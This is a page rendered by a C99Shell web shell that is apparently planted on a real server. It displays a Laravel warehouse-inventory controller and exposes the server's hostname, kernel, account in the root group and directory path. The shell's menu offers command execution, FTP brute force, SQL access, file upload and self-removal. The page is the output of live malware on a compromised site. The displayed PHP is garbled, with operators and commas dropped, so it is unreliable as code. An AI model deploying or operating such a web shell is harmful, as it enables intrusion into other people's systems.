!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 29.15 GB of 117.98 GB (24.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     WarehouseController.php (6.28 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Product;
use 
App\Models\ProductVariant;
use 
App\Models\product_warehouse;
use 
App\Models\Warehouse;
use 
Carbon\Carbon;
use 
DB;
use 
Illuminate\Http\Request;

class 
WarehouseController extends Controller
{

    
//----------- GET ALL  Warehouse --------------\\

    
public function index(Request $request)
    {
        
$this->authorizeForUser($request->user('api'), 'view'Warehouse::class);

        
// How many items do you want to display.
        
$perPage $request->limit;
        
$pageStart \Request::get('page'1);
        
// Start displaying items from this number;
        
$offSet = ($pageStart $perPage) - $perPage;
        
$order $request->SortField;
        
$dir $request->SortType;

        
$warehouses Warehouse::where('deleted_at''='null)

        
// Search With Multiple Param
            
->where(function ($query) use ($request) {
                return 
$query->when($request->filled('search'), function ($query) use ($request) {
                    return 
$query->where('name''LIKE'"%{$request->search}%")
                        ->
orWhere('mobile''LIKE'"%{$request->search}%")
                        ->
orWhere('country''LIKE'"%{$request->search}%")
                        ->
orWhere('city''LIKE'"%{$request->search}%")
                        ->
orWhere('zip''LIKE'"%{$request->search}%")
                        ->
orWhere('email''LIKE'"%{$request->search}%");
                });
            });
        
$totalRows $warehouses->count();
        if(
$perPage == "-1"){
            
$perPage $totalRows;
        }
        
$warehouses $warehouses->offset($offSet)
            ->
limit($perPage)
            ->
orderBy($order$dir)
            ->
get();

        return 
response()->json([
            
'warehouses' => $warehouses,
            
'totalRows' => $totalRows,
        ]);
    }

    
//----------- Store new Warehouse --------------\\

    
public function store(Request $request)
    {
        
$this->authorizeForUser($request->user('api'), 'create'Warehouse::class);

        
request()->validate([
            
'name' => 'required',
        ]);

        
\DB::transaction(function () use ($request) {

            
$Warehouse = new Warehouse;
            
$Warehouse->name $request['name'];
            
$Warehouse->mobile $request['mobile'];
            
$Warehouse->country $request['country'];
            
$Warehouse->city $request['city'];
            
$Warehouse->zip $request['zip'];
            
$Warehouse->email $request['email'];
            
$Warehouse->save();

            
$products Product::where('deleted_at''='null)
                ->
pluck('id')
                ->
toArray();

            if (
$products) {
                foreach (
$products as $product) {
                    
$product_warehouse = [];
                    
$Product_Variants ProductVariant::where('product_id'$product)
                        ->
where('deleted_at'null)
                        ->
get();

                    if (
$Product_Variants->isNotEmpty()) {
                        foreach (
$Product_Variants as $product_variant) {

                            
$product_warehouse[] = [
                                
'product_id' => $product,
                                
'warehouse_id' => $Warehouse->id,
                                
'product_variant_id' => $product_variant->id,
                            ];
                        }
                    } else {
                        
$product_warehouse[] = [
                            
'product_id' => $product,
                            
'warehouse_id' => $Warehouse->id,
                            
'product_variant_id' => null,
                        ];
                    }

                    
product_warehouse::insert($product_warehouse);
                }
            }

        }, 
10);

        return 
response()->json(['success' => true]);
    }

    
//------------ function show -----------\\

    
public function show($id){
        
//
        
        
}

    
//-----------Update Warehouse --------------\\

    
public function update(Request $request$id)
    {
        
$this->authorizeForUser($request->user('api'), 'update'Warehouse::class);

        
request()->validate([
            
'name' => 'required',
        ]);

        
Warehouse::whereId($id)->update([
            
'name' => $request['name'],
            
'mobile' => $request['mobile'],
            
'country' => $request['country'],
            
'city' => $request['city'],
            
'zip' => $request['zip'],
            
'email' => $request['email'],
        ]);
        return 
response()->json(['success' => true]);
    }

    
//----------- Delete  Warehouse --------------\\

    
public function destroy(Request $request$id)
    {
        
$this->authorizeForUser($request->user('api'), 'delete'Warehouse::class);

        
\DB::transaction(function () use ($id) {

            
Warehouse::whereId($id)->update([
                
'deleted_at' => Carbon::now(),
            ]);

            
product_warehouse::where('warehouse_id'$id)->update([
                
'deleted_at' => Carbon::now(),
            ]);

        }, 
10);

        return 
response()->json(['success' => true]);
    }

    
//-------------- Delete by selection  ---------------\\

    
public function delete_by_selection(Request $request)
    {

        
$this->authorizeForUser($request->user('api'), 'delete'Warehouse::class);

        
\DB::transaction(function () use ($request) {
            
$selectedIds $request->selectedIds;
            foreach (
$selectedIds as $warehouse_id) {
                
Warehouse::whereId($warehouse_id)->update([
                    
'deleted_at' => Carbon::now(),
                ]);

                
product_warehouse::where('warehouse_id'$warehouse_id)->update([
                    
'deleted_at' => Carbon::now(),
                ]);
            }

        }, 
10);

        return 
response()->json(['success' => true]);
    }

    
//----------- GET ALL  Warehouse --------------\\

    
public function Get_Warehouses()
    {
        
$Warehouses Warehouse::where('deleted_at''='null)->get();
        return 
response()->json($Warehouses);
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--